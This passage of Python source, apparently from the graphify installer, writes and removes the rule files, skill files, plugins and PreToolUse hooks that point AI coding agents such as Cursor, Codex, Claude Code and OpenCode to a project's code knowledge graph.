= project_dir / ".kiro" / "steering" / "graphify.md" + if steering_dst.exists(): + steering_dst.unlink() + removed.append(str(steering_dst.relative_to(project_dir))) + + print("Removed: " + (", ".join(removed) if removed else "nothing to remove")) + + +def _antigravity_finalize(skill_dst: Path, project_dir: Path) -> None: + """Write Antigravity's always-on layer next to an installed skill. + + Injects the native tool-discovery YAML frontmatter into *skill_dst*, then + writes ``.agents/rules/graphify.md`` and ``.agents/workflows/graphify.md`` + under *project_dir*. Shared by the global ``antigravity install`` and the + project-scoped ``install --project --platform antigravity`` paths, so both lay + down the rules/workflows that the uninstall path already expects to remove. + """ + # Inject YAML frontmatter for native Antigravity tool discovery. + if skill_dst.exists(): + content = skill_dst.read_text(encoding="utf-8") + if not content.startswith("---\n"): + frontmatter = "---\nname: graphify-manager\ndescription: Rebuild the code graph or perform manual CLI queries when MCP server is offline.\n---\n\n" + skill_dst.write_text(frontmatter + content, encoding="utf-8") + + # .agents/rules/graphify.md + rules_path = project_dir / _ANTIGRAVITY_RULES_PATH + rules_path.parent.mkdir(parents=True, exist_ok=True) + if rules_path.exists(): + existing = rules_path.read_text(encoding="utf-8") + if _always_on("antigravity-rules").strip() != existing.strip(): + rules_path.write_text(_always_on("antigravity-rules"), encoding="utf-8") + print(f"graphify rule updated at {rules_path.resolve()}") + else: + print(f"graphify rule already configured at {rules_path.resolve()} (no change)") + else: + rules_path.write_text(_always_on("antigravity-rules"), encoding="utf-8") + print(f"graphify rule written to {rules_path.resolve()}") + + # .agents/workflows/graphify.md + wf_path = project_dir / _ANTIGRAVITY_WORKFLOW_PATH + wf_path.parent.mkdir(parents=True, exist_ok=True) + if wf_path.exists(): + existing = wf_path.read_text(encoding="utf-8") + if _ANTIGRAVITY_WORKFLOW.strip() != existing.strip(): + wf_path.write_text(_ANTIGRAVITY_WORKFLOW, encoding="utf-8") + print(f"graphify workflow updated at {wf_path.resolve()}") + else: + print(f"graphify workflow already configured at {wf_path.resolve()} (no change)") + else: + wf_path.write_text(_ANTIGRAVITY_WORKFLOW, encoding="utf-8") + print(f"graphify workflow written to {wf_path.resolve()}") + + +def _antigravity_install(project_dir: Path) -> None: + """Install graphify for Google Antigravity (global skill + .agents/rules + .agents/workflows).""" + # Copy the skill to ~/.gemini/config/skills/graphify/SKILL.md (global), then + # lay down the always-on rules/workflows under the project dir. + install(platform="antigravity") + _antigravity_finalize(_platform_skill_destination("antigravity"), project_dir) + + print() + print("Antigravity will now check the knowledge graph before answering") + print("codebase questions. Run /graphify first to build the graph.") + print() + print( + "To enable full MCP architecture navigation, add this to ~/.gemini/antigravity/mcp_config.json:" + ) + print(' "graphify": {') + print(' "command": "uv",') + print( + ' "args": ["run", "--with", "graphifyy", "--with", "mcp", "-m", "graphify.serve", "${workspace.path}/graphify-out/graph.json"]' + ) + print(" }") + + +def _antigravity_uninstall(project_dir: Path, *, project: bool = False) -> None: + """Remove graphify Antigravity rules, workflow, and skill files.""" + # Remove rules file + rules_path = project_dir / _ANTIGRAVITY_RULES_PATH + if rules_path.exists(): + rules_path.unlink() + print(f"graphify rule removed from {rules_path.resolve()}") + else: + print("No graphify Antigravity rule found - nothing to do") + + # Remove workflow file + wf_path = project_dir / _ANTIGRAVITY_WORKFLOW_PATH + if wf_path.exists(): + wf_path.unlink() + print(f"graphify workflow removed from {wf_path.resolve()}") + + # Remove skill file + skill_dst = _platform_skill_destination("antigravity", project=project, project_dir=project_dir) + if skill_dst.exists(): + skill_dst.unlink() + print(f"graphify skill removed from {skill_dst}") + version_file = skill_dst.parent / ".graphify_version" + if version_file.exists(): + version_file.unlink() + refs_dir = skill_dst.parent / "references" + if refs_dir.exists(): + shutil.rmtree(refs_dir) + for d in ( + skill_dst.parent, + skill_dst.parent.parent, + skill_dst.parent.parent.parent, + ): + try: + d.rmdir() + except OSError: + break + + +_CURSOR_RULE_PATH = Path(".cursor") / "rules" / "graphify.mdc" +_CURSOR_RULE = """\ +--- +description: graphify knowledge graph context +alwaysApply: true +--- + +This project has a graphify knowledge graph at graphify-out/. + +- For codebase or architecture questions, when `graphify-out/graph.json` exists, first run `graphify query ""` (or `graphify path "" ""` / `graphify explain ""`). These return a scoped subgraph, usually much smaller than `GRAPH_REPORT.md` or raw grep output. +- If graphify-out/wiki/index.md exists, navigate it instead of reading raw files +- Read graphify-out/GRAPH_REPORT.md only for broad architecture review or when query/path/explain do not surface enough context +- After modifying code files in this session, run `graphify update .` to keep the graph current (AST-only, no API cost) +""" + + +def _cursor_install(project_dir: Path) -> None: + """Write .cursor/rules/graphify.mdc with alwaysApply: true.""" + rule_path = (project_dir or Path(".")) / _CURSOR_RULE_PATH + rule_path.parent.mkdir(parents=True, exist_ok=True) + if rule_path.exists() and rule_path.read_text(encoding="utf-8") == _CURSOR_RULE: + print(f"graphify rule at {rule_path} already configured (no change)") + return + # File is wholly graphify-owned. Overwrite on upgrade so older + # report-first wording does not silently linger (issue #580). + action = "updated" if rule_path.exists() else "written" + rule_path.write_text(_CURSOR_RULE, encoding="utf-8") + print(f"graphify rule {action} at {rule_path.resolve()}") + print() + print("Cursor will now always include the knowledge graph context.") + print("Run /graphify . first to build the graph if you haven't already.") + + +def _cursor_uninstall(project_dir: Path) -> None: + """Remove .cursor/rules/graphify.mdc.""" + rule_path = (project_dir or Path(".")) / _CURSOR_RULE_PATH + if not rule_path.exists(): + print("No graphify Cursor rule found - nothing to do") + return + rule_path.unlink() + print(f"graphify Cursor rule removed from {rule_path.resolve()}") + + +# Devin CLI — .windsurf/rules/graphify.md (always-on context) +# Devin reads .windsurf/rules/*.md files the same way Windsurf IDE does. +_DEVIN_RULES_PATH = Path(".windsurf") / "rules" / "graphify.md" +_DEVIN_RULES = """\ +## graphify + +This project has a graphify knowledge graph at graphify-out/. + +Rules: +- For codebase or architecture questions, when `graphify-out/graph.json` exists, first run `graphify query ""` (or `graphify path "" ""` / `graphify explain ""`). These return a scoped subgraph, usually much smaller than `GRAPH_REPORT.md` or raw grep output. +- If graphify-out/wiki/index.md exists, navigate it instead of reading raw files +- Read graphify-out/GRAPH_REPORT.md only for broad architecture review or when query/path/explain do not surface enough context +- After modifying code files in this session, run `graphify update .` to keep the graph current (AST-only, no API cost) +""" + + +def _devin_rules_install(project_dir: Path) -> None: + """Write .windsurf/rules/graphify.md for always-on Devin context.""" + rules_path = (project_dir or Path(".")) / _DEVIN_RULES_PATH + rules_path.parent.mkdir(parents=True, exist_ok=True) + if rules_path.exists() and rules_path.read_text(encoding="utf-8") == _DEVIN_RULES: + print(f" {rules_path} -> already configured (no change)") + return + action = "updated" if rules_path.exists() else "written" + rules_path.write_text(_DEVIN_RULES, encoding="utf-8") + print(f" rules {action} -> {rules_path}") + + +def _devin_rules_uninstall(project_dir: Path) -> None: + """Remove .windsurf/rules/graphify.md.""" + rules_path = (project_dir or Path(".")) / _DEVIN_RULES_PATH + if not rules_path.exists(): + return + rules_path.unlink() + print(f" rules removed -> {rules_path}") + + +_KILO_PLUGIN_JS = """\ +// graphify Kilo plugin +// Injects a knowledge graph reminder before bash tool calls when the graph exists. +import { existsSync } from "fs"; +import { join } from "path"; + +export const GraphifyPlugin = async ({ directory }) => { + let reminded = false; + + return { + "tool.execute.before": async (input, output) => { + if (reminded) return; + if (!existsSync(join(directory, "graphify-out", "graph.json"))) return; + + if (input.tool === "bash") { + output.args.command = + 'echo "[graphify] Knowledge graph available. Read graphify-out/GRAPH_REPORT.md for god nodes and architecture context before searching files." && ' + + output.args.command; + reminded = true; + } + }, + }; +}; +""" + +_KILO_PLUGIN_PATH = Path(".kilo") / "plugins" / "graphify.js" +_KILO_CONFIG_JSON_PATH = Path(".kilo") / "kilo.json" +_KILO_CONFIG_JSONC_PATH = Path(".kilo") / "kilo.jsonc" + + +def _strip_json_comments(raw: str) -> str: + """Remove JSONC-style comments while leaving string content intact.""" + result: list[str] = [] + in_string = False + escaped = False + line_comment = False + block_comment = False + i = 0 + + while i < len(raw): + ch = raw[i] + nxt = raw[i + 1] if i + 1 < len(raw) else "" + + if line_comment: + if ch == "\n": + line_comment = False + result.append(ch) + i += 1 + continue + + if block_comment: + if ch == "*" and nxt == "/": + block_comment = False + i += 2 + else: + i += 1 + continue + + if in_string: + result.append(ch) + if escaped: + escaped = False + elif ch == "\\": + escaped = True + elif ch == '"': + in_string = False + i += 1 + continue + + if ch == "/" and nxt == "/": + line_comment = True + i += 2 + continue + if ch == "/" and nxt == "*": + block_comment = True + i += 2 + continue + + result.append(ch) + if ch == '"': + in_string = True + i += 1 + + return re.sub(r",(\s*[}\]])", r"\1", "".join(result)) + + +def _load_json_like(config_file: Path) -> dict: + if not config_file.exists(): + return {} + try: + raw = config_file.read_text(encoding="utf-8") + if config_file.suffix == ".jsonc": + raw = _strip_json_comments(raw) + loaded = json.loads(raw) + except (OSError, json.JSONDecodeError): + return {} + return loaded if isinstance(loaded, dict) else {} + + +def _kilo_config_path(project_dir: Path) -> Path: + kilo_dir = (project_dir or Path(".")) / ".kilo" + json_path = kilo_dir / _KILO_CONFIG_JSON_PATH.name + if json_path.exists(): + return json_path + jsonc_path = kilo_dir / _KILO_CONFIG_JSONC_PATH.name + if jsonc_path.exists(): + return jsonc_path + return json_path + + +def _kilo_config_write_path(project_dir: Path) -> Path: + """Write automated Kilo edits to kilo.json so existing JSONC stays untouched.""" + kilo_dir = (project_dir or Path(".")) / ".kilo" + return kilo_dir / _KILO_CONFIG_JSON_PATH.name + + +def _install_kilo_plugin(project_dir: Path) -> None: + """Write graphify.js plugin and register it without rewriting user JSONC.""" + plugin_file = project_dir / _KILO_PLUGIN_PATH + plugin_file.parent.mkdir(parents=True, exist_ok=True) + plugin_file.write_text(_KILO_PLUGIN_JS, encoding="utf-8") + print(f" {_KILO_PLUGIN_PATH} -> tool.execute.before hook written") + + config_file = _kilo_config_path(project_dir) + write_config_file = _kilo_config_write_path(project_dir) + write_config_file.parent.mkdir(parents=True, exist_ok=True) + config = _load_json_like(config_file) + plugins = config.get("plugin") + if not isinstance(plugins, list): + plugins = [] + config["plugin"] = plugins + entry = plugin_file.resolve().as_uri() + if entry not in plugins: + plugins.append(entry) + write_config_file.write_text(json.dumps(config, indent=2), encoding="utf-8") + print(f" {write_config_file.relative_to(project_dir)} -> plugin registered") + else: + print( + f" {config_file.relative_to(project_dir)} -> plugin already registered (no change)" + ) + + +def _uninstall_kilo_plugin(project_dir: Path) -> None: + """Remove graphify.js plugin and deregister it without rewriting user JSONC.""" + plugin_file = project_dir / _KILO_PLUGIN_PATH + if plugin_file.exists(): + plugin_file.unlink() + print(f" {_KILO_PLUGIN_PATH} -> removed") + + config_file = _kilo_config_path(project_dir) + if not config_file.exists(): + return + write_config_file = _kilo_config_write_path(project_dir) + config = _load_json_like(config_file) + plugins = config.get("plugin", []) + if not isinstance(plugins, list): + plugins = [] + entry = plugin_file.resolve().as_uri() + if entry in plugins: + config["plugin"] = [plugin for plugin in plugins if plugin != entry] + if not config["plugin"]: + config.pop("plugin") + write_config_file.parent.mkdir(parents=True, exist_ok=True) + write_config_file.write_text(json.dumps(config, indent=2), encoding="utf-8") + print( + f" {write_config_file.relative_to(project_dir)} -> plugin deregistered" + ) + + +# OpenCode tool.execute.before plugin — fires before every tool call. +# Injects a graph reminder into bash command output when graph.json exists. +_OPENCODE_PLUGIN_JS = """\ +// graphify OpenCode plugin +// Injects a knowledge graph reminder before bash tool calls when the graph exists. +import { existsSync } from "fs"; +import { join } from "path"; + +export const GraphifyPlugin = async ({ directory }) => { + let reminded = false; + + return { + "tool.execute.before": async (input, output) => { + if (reminded) return; + if (!existsSync(join(directory, "graphify-out", "graph.json"))) return; + + if (input.tool === "bash") { + output.args.command = + 'echo "[graphify] knowledge graph at graphify-out/. For focused questions, run \\`graphify query \\"\\"\\` (scoped subgraph, usually much smaller than GRAPH_REPORT.md) instead of grepping raw files. Read GRAPH_REPORT.md only for broad architecture context." && ' + + output.args.command; + reminded = true; + } + }, + }; +}; +""" + +_OPENCODE_PLUGIN_PATH = Path(".opencode") / "plugins" / "graphify.js" +_OPENCODE_CONFIG_PATH = Path(".opencode") / "opencode.json" + + +def _install_opencode_plugin(project_dir: Path) -> None: + """Write graphify.js plugin and register it in opencode.json.""" + plugin_file = project_dir / _OPENCODE_PLUGIN_PATH + plugin_file.parent.mkdir(parents=True, exist_ok=True) + plugin_file.write_text(_OPENCODE_PLUGIN_JS, encoding="utf-8") + print(f" {_OPENCODE_PLUGIN_PATH} -> tool.execute.before hook written") + + config_file = project_dir / _OPENCODE_CONFIG_PATH + if config_file.exists(): + try: + config = json.loads(config_file.read_text(encoding="utf-8")) + except json.JSONDecodeError: + config = {} + else: + config = {} + + plugins = config.setdefault("plugin", []) + entry = _OPENCODE_PLUGIN_PATH.as_posix() + if entry not in plugins: + plugins.append(entry) + config_file.write_text(json.dumps(config, indent=2), encoding="utf-8") + print(f" {_OPENCODE_CONFIG_PATH} -> plugin registered") + else: + print(f" {_OPENCODE_CONFIG_PATH} -> plugin already registered (no change)") + + +def _uninstall_opencode_plugin(project_dir: Path) -> None: + """Remove graphify.js plugin and deregister from opencode.json.""" + plugin_file = project_dir / _OPENCODE_PLUGIN_PATH + if plugin_file.exists(): + plugin_file.unlink() + print(f" {_OPENCODE_PLUGIN_PATH} -> removed") + + config_file = project_dir / _OPENCODE_CONFIG_PATH + if not config_file.exists(): + return + try: + config = json.loads(config_file.read_text(encoding="utf-8")) + except json.JSONDecodeError: + return + plugins = config.get("plugin", []) + entry = _OPENCODE_PLUGIN_PATH.as_posix() + if entry in plugins: + plugins.remove(entry) + if not plugins: + config.pop("plugin") + config_file.write_text(json.dumps(config, indent=2), encoding="utf-8") + print(f" {_OPENCODE_CONFIG_PATH} -> plugin deregistered") + + +_CODEX_HOOK = { + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [ + { + "type": "command", + # Use the graphify CLI itself so the hook is shell-agnostic: + # no [ -f ] bash syntax, no python3 vs python Conda issue, + # no JSON escaping inside PowerShell strings. Works on + # Windows (PowerShell/cmd.exe), macOS, and Linux. + "command": "graphify hook-check", + } + ], + } + ] + } +} + + +def _resolve_graphify_exe() -> str: + """Return the absolute path to the graphify executable. + + Falls back to bare 'graphify' if resolution fails. Using an absolute path + ensures the hook works in environments where the venv Scripts/ directory is + not on PATH (e.g. VS Code Codex extension on Windows). + """ + import shutil + found = shutil.which("graphify") + if found: + return found + # Derive from sys.executable: same Scripts/ (Windows) or bin/ (Unix) dir + scripts_dir = Path(sys.executable).parent + for name in ("graphify.exe", "graphify"): + candidate = scripts_dir / name + if candidate.exists(): + return str(candidate) + return "graphify" + + +def _install_codex_hook(project_dir: Path) -> None: + """Add graphify PreToolUse hook to .codex/hooks.json.""" + hooks_path = project_dir / ".codex" / "hooks.json" + hooks_path.parent.mkdir(parents=True, exist_ok=True) + + if hooks_path.exists(): + try: + existing = json.loads(hooks_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + existing = {} + else: + existing = {} + + graphify_exe = _resolve_graphify_exe() + hook_entry = { + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [{"type": "command", "command": f"{graphify_exe} hook-check"}], + } + ] + } + } + + pre_tool = existing.setdefault("hooks", {}).setdefault("PreToolUse", []) + existing["hooks"]["PreToolUse"] = [h for h in pre_tool if "graphify" not in str(h)] + existing["hooks"]["PreToolUse"].extend(hook_entry["hooks"]["PreToolUse"]) + hooks_path.write_text(json.dumps(existing, indent=2), encoding="utf-8") + print(f" .codex/hooks.json -> PreToolUse hook registered ({graphify_exe} hook-check)") + + +def _uninstall_codex_hook(project_dir: Path) -> None: + """Remove graphify PreToolUse hook from .codex/hooks.json.""" + hooks_path = project_dir / ".codex" / "hooks.json" + if not hooks_path.exists(): + return + try: + existing = json.loads(hooks_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + return + pre_tool = existing.get("hooks", {}).get("PreToolUse", []) + filtered = [h for h in pre_tool if "graphify" not in str(h)] + existing["hooks"]["PreToolUse"] = filtered + hooks_path.write_text(json.dumps(existing, indent=2), encoding="utf-8") + print(f" .codex/hooks.json -> PreToolUse hook removed") + + +def _agents_install(project_dir: Path, platform: str) -> None: + """Write the graphify section to the local AGENTS.md for always-on platforms.""" + target = (project_dir or Path(".")) / "AGENTS.md" + + if target.exists(): + content = target.read_text(encoding="utf-8") + new_content = _replace_or_append_section( + content, _AGENTS_MD_MARKER, _always_on("agents-md") + ) + else: + new_content = _always_on("agents-md") + + if target.exists() and new_content == target.read_text(encoding="utf-8"): + print(f"graphify already configured in {target.resolve()} (no change)") + else: + target.write_text(new_content, encoding="utf-8") + print(f"graphify section written to {target.resolve()}") + + if platform == "codex": + _install_codex_hook(project_dir or Path(".")) + elif platform == "opencode": + _install_opencode_plugin(project_dir or Path(".")) + elif platform == "kilo": + _install_kilo_plugin(project_dir or Path(".")) + + print() + print( + f"{platform.capitalize()} will now check the knowledge graph before answering" + ) + print("codebase questions and rebuild it after code changes.") + if platform not in ("codex", "opencode", "kilo"): + print() + print("Note: unlike Claude Code, there is no PreToolUse hook equivalent for") + print( + f"{platform.capitalize()} — the AGENTS.md rules are the always-on mechanism." + ) + + +def _amp_legacy_cleanup() -> None: + """Best-effort removal of the pre-fix ~/.amp/skills/graphify install dir. + + Older graphify versions wrote the Amp skill to ~/.amp/skills, which Amp does + not search. Clean it up on install so a stale, never-loaded copy does not + linger. Failures are ignored (the new path is what matters). + """ + legacy = Path.home() / ".amp" / "skills" / "graphify" + if legacy.exists(): + shutil.rmtree(legacy, ignore_errors=True) + if not legacy.exists(): + print(f" legacy removed -> {legacy}") + + +def _amp_install(project_dir: Path | None = None) -> None: + """User-scope Amp install: skill into ~/.config/agents/skills + AGENTS.md.""" + _amp_legacy_cleanup() + _copy_skill_file("amp") + _agents_install(project_dir or Path("."), "amp") + + +def _amp_uninstall(project_dir: Path | None = None) -> None: + """User-scope Amp uninstall: remove the skill and the AGENTS.md section.""" + removed = _remove_skill_file("amp") + if removed: + print("skill removed") + _agents_uninstall(project_dir or Path("."), platform="amp") + + +def _project_install(platform_name: str, project_dir: Path | None = None) -> None: + """Install platform skill/config files in the current project.""" + project_dir = project_dir or Path(".") + if platform_name in ("claude", "windows"): + install(platform=platform_name, project=True, project_dir=project_dir) + claude_install(project_dir) + _print_project_git_add_hint([project_dir / ".claude", project_dir / "CLAUDE.md"]) + elif platform_name == "gemini": + gemini_install(project_dir, project=True) + elif platform_name == "cursor": + _cursor_install(project_dir) + _print_project_git_add_hint([project_dir / ".cursor"]) + elif platform_name == "kiro": + _kiro_install(project_dir) + _print_project_git_add_hint([project_dir / ".kiro"]) + elif platform_name in ("aider", "amp", "codex", "opencode", "claw", "droid", "trae", "trae-cn", "hermes"): + skill_dst = _copy_skill_file(platform_name, project=True, project_dir=project_dir) + _agents_install(project_dir, platform_name) + hint_paths = [_project_scope_root(skill_dst, project_dir), project_dir / "AGENTS.md"] + if platform_name == "opencode": + hint_paths.append(project_dir / ".opencode") + elif platform_name == "codex": + hint_paths.append(project_dir / ".codex") + _print_project_git_add_hint(hint_paths) + elif platform_name == "devin": + skill_dst = _copy_skill_file("devin", project=True, project_dir=project_dir) + _devin_rules_install(project_dir) + _print_project_git_add_hint([_project_scope_root(skill_dst, project_dir), project_dir / ".windsurf"]) + elif platform_name == "antigravity": + # Project-scoped: skill in .agents/skills/ PLUS the .agents/rules + + # .agents/workflows always-on layer (previously this path wrote only the + # skill, leaving the rules/workflows the uninstall path removes unset). + skill_dst = _copy_skill_file("antigravity", project=True, project_dir=project_dir) + _antigravity_finalize(skill_dst, project_dir) + _print_project_git_add_hint([_project_scope_root(skill_dst, project_dir), project_dir / ".agents"]) + elif platform_name in ("copilot", "pi", "kimi"): + skill_dst = _copy_skill_file(platform_name, project=True, project_dir=project_dir) + _print_project_git_add_hint([_project_scope_root(skill_dst, project_dir)]) + else: + install(platform=platform_name, project=True, project_dir=project_dir) + + +def _project_uninstall(platform_name: str, project_dir: Path | None = None) -> None: + """Remove project-scoped platform skill/config files only.""" + project_dir = project_dir or Path(".") + if platform_name in ("claude", "windows"): + _remove_skill_file(platform_name, project=True, project_dir=project_dir) + _remove_claude_skill_registration(project_dir) + claude_uninstall(project_dir, project=True) + elif platform_name == "gemini": + gemini_uninstall(project_dir, project=True) + elif platform_name == "cursor": + _cursor_uninstall(project_dir) + elif platform_name == "kiro": + _kiro_uninstall(project_dir) + elif platform_name in ("aider", "amp", "codex", "opencode", "claw", "droid", "trae", "trae-cn", "hermes"): + _remove_skill_file(platform_name, project=True, project_dir=project_dir) + _agents_uninstall(project_dir, platform=platform_name) + if platform_name == "codex": + _uninstall_codex_hook(project_dir) + elif platform_name == "antigravity": + _antigravity_uninstall(project_dir, project=True) + elif platform_name == "devin": + removed = _remove_skill_file("devin", project=True, project_dir=project_dir) + _devin_rules_uninstall(project_dir) + if not removed: + print("nothing to remove") + elif platform_name in ("copilot", "pi", "kimi"): + removed = _remove_skill_file(platform_name, project=True, project_dir=project_dir) + if not removed: + print("nothing to remove") + elif platform_name == "codebuddy": + codebuddy_uninstall(project_dir) + else: + _remove_skill_file(platform_name, project=True, project_dir=project_dir) + + +def _project_uninstall_all(project_dir: Path | None = None) -> None: + """Remove project-scoped install files without touching user-scope installs.""" + project_dir = project_dir or Path(".") + print("Uninstalling project-scoped graphify files...\n") + for platform_name in _PLATFORM_CONFIG: + _project_uninstall(platform_name, project_dir) + for platform_name in ("gemini", "cursor"): + _project_uninstall(platform_name, project_dir) + print("\nDone.") + + +def _agents_uninstall(project_dir: Path, platform: str = "") -> None: + """Remove the graphify section from the local AGENTS.md.""" + target = (project_dir or Path(".")) / "AGENTS.md" + + if not target.exists(): + print("No AGENTS.md found in current directory - nothing to do") + if platform == "opencode": + _uninstall_opencode_plugin(project_dir or Path(".")) + elif platform == "kilo": + _uninstall_kilo_plugin(project_dir or Path(".")) + return + + content = target.read_text(encoding="utf-8") + if _AGENTS_MD_MARKER not in content: + print("graphify section not found in AGENTS.md - nothing to do") + if platform == "opencode": + _uninstall_opencode_plugin(project_dir or Path(".")) + elif platform == "kilo": + _uninstall_kilo_plugin(project_dir or Path(".")) + return + + cleaned = re.sub( + r"\n*## graphify\n.*?(?=\n## |\Z)", + "", + content, + flags=re.DOTALL, + ).rstrip() + if cleaned: + target.write_text(cleaned + "\n", encoding="utf-8") + print(f"graphify section removed from {target.resolve()}") + else: + target.unlink() + print(f"AGENTS.md was empty after removal - deleted {target.resolve()}") + + if platform == "opencode": + _uninstall_opencode_plugin(project_dir or Path(".")) + elif platform == "kilo": + _uninstall_kilo_plugin(project_dir or Path(".")) + + +def _kilo_uninstall_global() -> list[str]: + removed = [] + command_dst = Path.home() / ".config" / "kilo" / "command" / "graphify.md" + if command_dst.exists(): + command_dst.unlink() + removed.append(f"command removed: {command_dst}") + try: + command_dst.parent.rmdir() + except OSError: + pass + + skill_dst = Path.home() / _PLATFORM_CONFIG["kilo"]["skill_dst"] + if skill_dst.exists(): + skill_dst.unlink() + removed.append(f"skill removed: {skill_dst}") + version_file = skill_dst.parent / ".graphify_version" + if version_file.exists(): + version_file.unlink() + for d in ( + skill_dst.parent, + skill_dst.parent.parent, + skill_dst.parent.parent.parent, + ): + try: + d.rmdir() + except OSError: + break + + return removed + + +def _kilo_install(project_dir: Path) -> None: + """Install native Kilo skill + command globally and always-on project wiring locally.""" + install(platform="kilo") + _agents_install(project_dir or Path("."), "kilo") + + +def _kilo_uninstall(project_dir: Path) -> None: + """Remove Kilo always-on project wiring and global skill/command files.""" + _agents_uninstall(project_dir or Path("."), platform="kilo") + removed = _kilo_uninstall_global() + print("; ".join(removed) if removed else "nothing to remove") + + +def claude_install(project_dir: Path | None = None) -> None: + """Write the graphify section to the local CLAUDE.md.""" + target = (project_dir or Path(".")) / "CLAUDE.md" + + if target.exists(): + content = target.read_text(encoding="utf-8") + new_content = _replace_or_append_section( + content, _CLAUDE_MD_MARKER, _always_on("claude-md") + ) + else: + new_content = _always_on("claude-md") + + if target.exists() and new_content == target.read_text(encoding="utf-8"): + print(f"graphify already configured in {target.resolve()} (no change)") + else: + target.write_text(new_content, encoding="utf-8") + print(f"graphify section written to {target.resolve()}") + + # Always re-install the Claude Code PreToolUse hook so an old hook + # payload (e.g. pre-issue-#580 wording) is replaced on upgrade. + _install_claude_hook(project_dir or Path(".")) + + print() + print("Claude Code will now check the knowledge graph before answering") + print("codebase questions and rebuild it after code changes.") + + +def _install_claude_hook(project_dir: Path) -> None: + """Add graphify PreToolUse hook to .claude/settings.json.""" + settings_path = project_dir / ".claude" / "settings.json" + settings_path.parent.mkdir(parents=True, exist_ok=True) + + if settings_path.exists(): + try: + settings = json.loads(settings_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + settings = {} + else: + settings = {} + + hooks = settings.setdefault("hooks", {}) + pre_tool = hooks.setdefault("PreToolUse", []) + + hooks["PreToolUse"] = [h for h in pre_tool if not (h.get("matcher") in ("Glob|Grep", "Bash", "Read|Glob") and "graphify" in str(h))] + hooks["PreToolUse"].append(_SETTINGS_HOOK) + hooks["PreToolUse"].append(_READ_SETTINGS_HOOK) + settings_path.write_text(json.dumps(settings, indent=2), encoding="utf-8") + print(f" .claude/settings.json -> PreToolUse hooks registered (Bash search + Read/Glob)") + + +def _uninstall_claude_hook(project_dir: Path) -> None: + """Remove graphify PreToolUse hook from .claude/settings.json.""" + settings_path = project_dir / ".claude" / "settings.json" + if not settings_path.exists(): + return + try: + settings = json.loads(settings_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + return + pre_tool = settings.get("hooks", {}).get("PreToolUse", []) + filtered = [h for h in pre_tool if not (h.get("matcher") in ("Glob|Grep", "Bash", "Read|Glob") and "graphify" in str(h))] + if len(filtered) == len(pre_tool): + return + settings["hooks"]["PreToolUse"] = filtered + settings_path.write_text(json.dumps(settings, indent=2), encoding="utf-8") + print(f" .claude/settings.json -> PreToolUse hook removed") + + +def uninstall_all(project_dir: Path | None = None, purge: bool = False) -> None: + """Remove graphify from every platform detected in the current project.""" + pd = project_dir or Path(".") + print("Uninstalling graphify from all detected platforms...\n") + + # Skill-file / config-section uninstallers + claude_uninstall(pd) + codebuddy_uninstall(pd) + gemini_uninstall(pd) + vscode_uninstall(pd) + _cursor_uninstall(pd) + _kiro_uninstall(pd) + _antigravity_uninstall(pd) + # AGENTS.md covers: codex, aider, opencode, claw, droid, trae, trae-cn, hermes, copilot + _agents_uninstall(pd) + # Amp also drops a user-scope skill at ~/.config/agents/skills, which the + # AGENTS.md cleanup above does not touch. + _remove_skill_file("amp") + _uninstall_opencode_plugin(pd) + _uninstall_codex_hook(pd) + + # Git hook + try: + from graphify.hooks import uninstall as hook_uninstall + result = hook_uninstall(pd) + if result: + print(result) + except Exception: + pass + + if purge: + import shutil as _shutil + out = pd / "graphify-out" + if out.exists(): + _shutil.rmtree(out) + print(f"\n graphify-out/ -> deleted (--purge)") + else: + print("\n graphify-out/ -> not found (nothing to purge)") + + print("\nDone. Run 'pip uninstall graphifyy' to remove the package itself.") + + +def claude_uninstall(project_dir: Path | None = None, *, project: bool = False) -> None: + """Remove the graphify skill tree (SKILL.md + references/) and the CLAUDE.md section. + + Mirrors gemini_uninstall: the bare `graphify uninstall` and `graphify claude + uninstall` must remove the installed skill, not just strip CLAUDE.md, or the + progressive-disclosure tree (SKILL.md + references/) is orphaned (#1121). + """ + project_dir = project_dir or Path(".") + _remove_skill_file("claude", project=project, project_dir=project_dir) + target = project_dir / "CLAUDE.md" + + if not target.exists(): + print("No CLAUDE.md found in current directory - nothing to do") + return + + content = target.read_text(encoding="utf-8") + if _CLAUDE_MD_MARKER not in content: + print("graphify section not found in CLAUDE.md - nothing to do") + return + + # Remove the ## graphify section: from the marker to the next ## heading or EOF + cleaned = re.sub( + r"\n*## graphify\n.*?(?=\n## |\Z)", + "", + content, + flags=re.DOTALL, + ).rstrip() + if cleaned: + target.write_text(cleaned + "\n", encoding="utf-8") + print(f"graphify section removed from {target.resolve()}") + else: + target.unlink() + print(f"CLAUDE.md was empty after removal - deleted {target.resolve()}") + + _uninstall_claude_hook(project_dir or Path(".")) + + +def codebuddy_install(project_dir: Path | None = None) -> None: + """Install the graphify skill and CODEBUDDY.md section for CodeBuddy.""" + _copy_skill_file("codebuddy", project=bool(project_dir), project_dir=project_dir) + target = (project_dir or Path(".")) / "CODEBUDDY.md" + + if target.exists(): + content = target.read_text(encoding="utf-8") + new_content = _replace_or_append_section( + content, _CODEBUDDY_MD_MARKER, _always_on("claude-md") + ) + else: + new_content = _always_on("claude-md") + + if target.exists() and new_content == target.read_text(encoding="utf-8"): + print(f"graphify already configured in {target.resolve()} (no change)") + else: + target.write_text(new_content, encoding="utf-8") + print(f"graphify section written to {target.resolve()}") + + # Also write CodeBuddy PreToolUse hook to .codebuddy/settings.json + _install_codebuddy_hook(project_dir or Path(".")) + + print() + print("CodeBuddy will now check the knowledge graph before answering") + print("codebase questions and rebuild it after code changes.") + + +def _install_codebuddy_hook(project_dir: Path) -> None: + """Add graphify PreToolUse hook to .codebuddy/settings.json.""" + settings_path = project_dir / ".codebuddy" / "settings.json" + settings_path.parent.mkdir(parents=True, exist_ok=True) + + if settings_path.exists(): + try: + settings = json.loads(settings_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + settings = {} + else: + settings = {} + + hooks = settings.setdefault("hooks", {}) + pre_tool = hooks.setdefault("PreToolUse", []) + + hooks["PreToolUse"] = [h for h in pre_tool if not (h.get("matcher") in ("Glob|Grep", "Bash", "Read|Glob") and "graphify" in str(h))] + hooks["PreToolUse"].append(_SETTINGS_HOOK) + hooks["PreToolUse"].append(_READ_SETTINGS_HOOK) + settings_path.write_text(json.dumps(settings, indent=2), 